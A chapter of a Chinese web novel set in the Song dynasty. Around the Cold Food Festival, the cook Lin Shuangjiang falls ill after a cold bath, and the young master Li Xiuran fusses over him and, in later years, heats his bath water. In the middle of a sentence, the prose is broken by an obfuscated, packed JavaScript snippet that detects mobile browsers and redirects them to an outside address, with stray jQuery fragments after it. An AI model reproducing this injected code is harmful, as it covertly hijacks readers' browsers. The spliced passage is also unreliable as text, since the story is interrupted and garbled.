林霜降的房子也是，瑛氏早早便把寒食节的节令食品备好了——麦仁与杏仁糊、麦芽糖汁熬煮成的麦粥，粳米煮粥加入麦芽糖的饧粥，还有形如飞燕的面点子推燕。 若不是顾及着李修然偶尔会来这儿和林霜降睡觉，怕是连林霜降的床榻都要放满。 对于寒食节吃冷食这件事，林霜降还算接受良好，只有一件事他不太能接受，便是这日连灶膛都是冷的，自然烧不得热水，若要沐浴只能用从井里打上来的凉水。 林霜降有些洁癖，一日不洗都会很难受，想到要因禁火一连三日都无法洗澡，他感觉身上所有美好的品质都消失了。 于是硬着头皮洗了冷水澡。 这一洗便出了岔子。 睡了一觉醒来，林霜降就觉得头脑昏昏沉沉，不似从前清明，身上也有些发冷，瑛氏一摸他额头，果然温度烫手。 见他变成了一只病猫，瑛氏又急又气：“我的小祖宗！这时节灶王爷来了都熄火三日，你就不能歇几日，怎么敢用那冷水浇身的？这下好了，真成了寒食——得寒着肚子喝药食了！” 听着瑛氏连珠爆豆似的唠叨，林霜降躺在床上怏怏道：“姨妈，你莫要说了。” 瞧着他烧红的脸，瑛氏语气最终还是软下来，手指轻轻点了一下他脑门：“你呀，平日里那般机灵，怎就拗在这洗澡上？” 说罢叹了口气，任命般地给他寻冷帕子去了。 得知林霜降生病，李修然的反应比瑛氏还要强烈数十倍。 他立马让景明把今日当值的两位府医请进来，等两位老先生提着药箱气喘吁吁赶到，他又嫌不够，命人去把休沐在家、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16937223|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在两条街外老宅的另外三位医师全都叫来府上，有一位刘府医甚至是从被窝里被架出来的。 不过一刻钟，五位太医局出身的老先生齐聚在林霜降房间门外，面面相觑。 二郎这样大的架势，他们还以为是国公爷出了什么事，没想到只是一个小厨童洗冷水澡受寒了，二郎也真是…… 真是什么，他们还没琢磨出来，便被李修然要求给林霜降看病了。 在李修然灼灼的目光下，最年长的王府医给林霜降搭了四次脉，这才斟酌着字句开口：“回二哥儿话，这位小哥儿只是外感风寒，肺卫失宣，服几剂葱豉汤发发汗，饮食清淡些，仔细将养三五日便无大碍了。” 话音落下，满屋凝结的空气才缓缓流动起来。 几个府医不约而同地舒了口气。 幸而这位林小厨郎无事，不然的话，真不知家里这个小魔王会怎样折腾他们。 话说回来，“外感风寒”是个小到不能再小的毛病，便是不寻大夫不开剂方，自个儿在家将养几日也能自愈，哪里需要把他们五个一同请来？ 二郎对这小厨童还真是上心。 诊了脉开了药方，府医们也都信誓旦旦，但李修然依然没有放下心来，凝视躺在床上熟睡的林霜降半晌，忽然一掀衣摆，目光坚定地直奔厨房而去。 景明跟在他屁股后面跑：“二哥儿，你这是要去做什么？” “做饭。”李修然头也不回地回答。 林霜降做了那么多回吃食给他，如今他生病了躺在床上休息，作为回报，他也该给林霜降做些好吃的才是。 一个时辰后。 刚从睡梦中醒来的林霜降，看着面前黑乎乎的不明物体问道：“二哥儿做的……可是吃食？” 向来上天入地无所不能的李修然，罕见地有些心虚，“就是……就是你第一次给我做的吃食，香蕈滑鸡。” 林霜降陷入沉思。 他第一次给李修然做的，确实是香菇滑鸡饭，不是黑煤球吧？ 见李修然一脸懊恼，林霜降偷偷笑了一下，随即便正色道：“二哥儿，你莫要担心，我很快就会好起来的。” 李修然看着他病中憔悴的小脸，难过地点了点头。 为了不让林霜降再生病，转年寒食节李修然便偷偷点火给林霜降烧了几桶洗澡水，结果被李游发现，挨了顿揍。 第三年寒食节，李修然依然偷偷点火给林霜降烧热水洗澡，被李游发现，打了顿手板。 第四年寒食节，李修然继续给林霜降烧洗澡水，被李游发现，批评了一顿。 第五年，李修然光明正大点火烧水，李游发现，懒得管他了。 …… 大宋天圣九年，春。 十四岁的林霜降早早从床上起来，刷牙洗漱，对着铜镜束发。 几年过去，他的身量抽条般拔高了不少，却仍然纤细，低着头给发带打结时露出的后颈白生生的。 常年待在灶间的日子并未熏黄他的皮肉，反倒养出一种润泽的柔净，那双杏眼也依旧澄澈圆亮，黑白分明。 又是一年寒食，知道这一日有多忙，已经晋升为帮厨的林霜降早早便奔着厨院去了。 寒食禁火三日的规矩依然延续，人们要连吃好几日冷食，吃不好是肯定的。 但林霜降想出个好主意，不用烧火就能吃上热乎乎的饭食。